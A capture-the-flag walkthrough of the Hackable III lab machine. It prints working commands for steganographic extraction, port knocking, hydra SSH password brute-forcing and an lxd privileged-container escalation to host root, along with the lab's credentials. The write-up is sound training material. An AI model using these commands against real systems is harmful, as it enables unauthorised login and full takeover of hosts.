Last updated: 15 Apr 24 09:29:14 (UTC)

Write-Up Hackable-III

Hackable-III

By Lawcky 09/01/24

Introduction

Focus on general concepts about CTF

Difficulty : Medium

Additionnal info :

Name: Hackable: III
Release date: 2 Jun 2021
Author: Elias Sousa
Series: Hackable

|NOTE| if you want to see all the scans we wont copy them here as they would be way too voluminous, click here to see them


In this write-up

  • steghide
  • knockd
  • hydra
  • lxd

Write-UP

the website :

Enumerating

<!-- "Please, jubiscleudo, don't forget to activate the port knocking when exiting your section, and tell the boss not to forget to approve the .jpg file - dev_suport@hackable3.com" -->

also found

773e99d1a331343d19ea415ab1beeaf8.png

and login_page/login.html

cd01340d7bef315c0bed5bb93551626a.png

when trying the login it opens a white page with this inside the source code

82c6d9454be0a8523020e7c769f93be9.png

when going to the image link we find an image

Steganography

steghide --extract -sf JESUS.jpg

1f78ff2eb16dae625aa8dbfb17f2b5b3.png

Port Knocking

we now know that the port 65535 is one of the port that we shall use for the port knocking mentionned above

in the webpages we find 2 others ports,
one in the /config/1.txt and the other in a css page 2.txt

2be0245c7964516aad1d04297c7e93d3.png

echo MTAwMDA= | base64 -d
= 10000

9724145ee0efad626e8a27d2b2bc7ab8.png

4f85f5a9cfa6722b9d9e7aaa472a1779.png

=4444

in order :

knock 192.168.1.42 10000 4444 65535

then nmap 192.168.1.42 -p22

9f43858d6894e01d65e5c4f63e2ea943.png

Bruteforce SSH

lets use the user we know and the wordlist we already had

hydra -l jubiscleudo -P wordlist.txt -t 64 ssh://192.168.1.42 -I

3765b825fdd37209a695a71dadbca07b.png jubiscleudo:onlymy

37f540f45e430a1c33b4e5527ed0406b.png first flag found


Privilege Escalation

found this in root

e8e5c3c58e31e48d31a5c53fe106e043.png

found this hidden file in /var/www/html/

efe0aab5102d112611e8d98e959cb522.png

those credentials are the actual hackable_3’s user

hackable_3:TrOLLED_3

fb2fce7ebdba45c2eb404498f4b598dc.png

we see that the user belong to the lxd group

we can use this to escalade privileges

it had never been launched so first

lxd init dir

then

lxc init ubuntu:16.04 test -c security.privileged=true

lxc config device add test whatever disk source=/ path=/mnt/root recursive=true

lxc start test

lxc exec test bash

cd /mnt/root

76eef44a213219b6bdd290622ace30b3.png

done

ef40ebd729ad5db12924efd1205d8a68.png

second flag found